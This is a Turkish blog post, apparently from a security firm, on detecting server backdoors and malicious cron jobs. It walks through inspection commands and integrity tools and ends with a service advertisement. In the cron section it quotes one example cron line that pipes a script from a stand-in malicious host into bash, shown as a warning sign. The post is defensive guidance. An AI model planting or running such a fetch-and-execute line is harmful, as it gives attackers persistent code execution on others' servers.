İçeriğe atla
256-bit SSL · bilgileriniz şifrelenir
Blog'a dön
GÜVENLİK

Sunucudaki Gizli Backdoor ve Zararlı Cron Job'ları Tespit Etme Yöntemleri

Dijital Kalkan Güvenlik Ekibi3 dk okuma
Sunucudaki Gizli Backdoor ve Zararlı Cron Job'ları Tespit Etme Yöntemleri kapak görseli

Sunucu güvenliği, yalnızca güçlü şifreler ve güncel yazılımlarla sağlanamaz. Saldırganlar, sisteme sızdıktan sonra varlıklarını sürdürmek için backdoor (arka kapı) ve zararlı cron job gibi gizli mekanizmalar kullanır. Bu yazıda, sunucu backdoor tespiti ve zararlı cron job'ların nasıl bulunacağına dair kapsamlı bir rehber sunuyoruz.

1. Backdoor Nedir ve Nasıl Gizlenir?

Backdoor, saldırganın sisteme tekrar erişmesini sağlayan gizli bir yöntemdir. Genellikle web shell'ler, ters bağlantılar (reverse shell), kötü niyetli kullanıcı hesapları veya değiştirilmiş sistem dosyaları şeklinde görülür. Saldırganlar backdoor'ları gizlemek için şu yöntemlere başvurur:

  • Meşru dosya adları ve konumları kullanmak (örneğin, /tmp/.cache/ gibi gizli dizinler)
  • Dosya izinlerini ve zaman damgalarını değiştirerek fark edilmemek
  • Rootkit'ler ile işlemleri ve dosyaları gizlemek
  • Mevcut yazılımların zafiyetlerini kullanarak kalıcılık sağlamak

2. Sunucu Backdoor Tespiti İçin Adım Adım Yöntemler

2.1. Şüpheli Dosya ve Dizinleri Bulma

Sunucuda son 24 saat içinde değiştirilen dosyaları listeleyin:

find /var/www -type f -mtime -1 -ls

Özellikle /tmp, /dev/shm ve /var/tmp gibi geçici dizinlerdeki çalıştırılabilir dosyalara dikkat edin. Ayrıca, gizli dosyaları (nokta ile başlayan) kontrol edin:

find / -name "*.php" -o -name "*.sh" -o -name "*.pl" 2>/dev/null | grep -E "^/tmp|^/dev/shm"

2.2. Ağ Bağlantılarını ve Dinlenen Portları İnceleme

Şüpheli dinleme portlarını ve aktif bağlantıları kontrol edin:

netstat -tulpn | grep -v "127.0.0.1"

Özellikle yüksek numaralı portlar (örneğin 4444, 1337) veya bilinmeyen süreçler tarafından açılan portlar backdoor işareti olabilir. lsof -i komutu ile hangi sürecin hangi porta bağlandığını görebilirsiniz.

2.3. Kullanıcı Hesaplarını ve Yetkileri Kontrol Etme

Yetkisiz kullanıcı hesaplarını ve sudo yetkilerini kontrol edin:

cat /etc/passwd
awk -F: '$3 >= 1000 {print $1}' /etc/passwd
grep -v '^#' /etc/sudoers | grep -v '^$'

UID 0 (root) yetkisine sahip olağandışı hesaplar veya /etc/sudoers dosyasında yapılmış değişiklikler dikkat gerektirir.

2.4. Zararlı Cron Job'ları Tespit Etme

Cron job'lar, saldırganların kalıcılık sağlamak için sıkça kullandığı bir yöntemdir. Tüm kullanıcıların cron tablolarını ve sistem genelindeki cron dizinlerini kontrol edin:

for user in $(cut -f1 -d: /etc/passwd); do crontab -u $user -l 2>/dev/null; done
ls -la /etc/cron.* /etc/cron.d/ /var/spool/cron/

Özellikle curl, wget veya bash ile uzak sunucudan kod çeken satırlar (* * * * * curl http://kotu.site/script.sh | bash) yüksek risklidir.

2.5. Sistem Dosyalarının Bütünlüğünü Doğrulama

Değiştirilmiş sistem dosyalarını tespit etmek için paket yöneticinizin doğrulama aracını kullanın (örneğin Debian/Ubuntu'da debsums). Ayrıca, rkhunter ve chkrootkit gibi araçlarla rootkit taraması yapın.

3. Otomatik Tespit ve Önleme Stratejileri

Manuel kontroller zaman alıcıdır. Aşağıdaki yöntemlerle süreci otomatikleştirin:

  • Dosya Bütünlüğü İzleme (FIM): AIDE veya Tripwire ile kritik dosyalardaki değişiklikleri anında tespit edin.
  • Log Analizi: OSSEC veya Fail2ban ile olağandışı oturum açma ve komut çalıştırma girişimlerini izleyin.
  • Düzenli Tarama: Haftalık olarak rkhunter, chkrootkit ve clamav taramaları yapın.
  • En Az Yetki Prensibi: Kullanıcılara yalnızca gerektiği kadar yetki verin, sudo erişimini kısıtlayın.

Dijital Kalkan Güvencesi

Sunucu backdoor tespiti ve zararlı cron job'ların temizlenmesi, uzmanlık ve sürekli izleme gerektirir. Dijital Kalkan olarak, WordPress ve sunucu güvenliği konusunda uzman ekibimizle size şu hizmetleri sunuyoruz:

  • 7/24 sunucu izleme ve tehdit tespiti
  • Zararlı yazılım temizleme ve backdoor kaldırma
  • Güvenli hosting ve düzenli güvenlik denetimleri

Sunucunuzda şüpheli bir hareketlilik mi var? Hemen bizimle iletişime geçin, profesyonel destek ekibimiz size yardımcı olsun.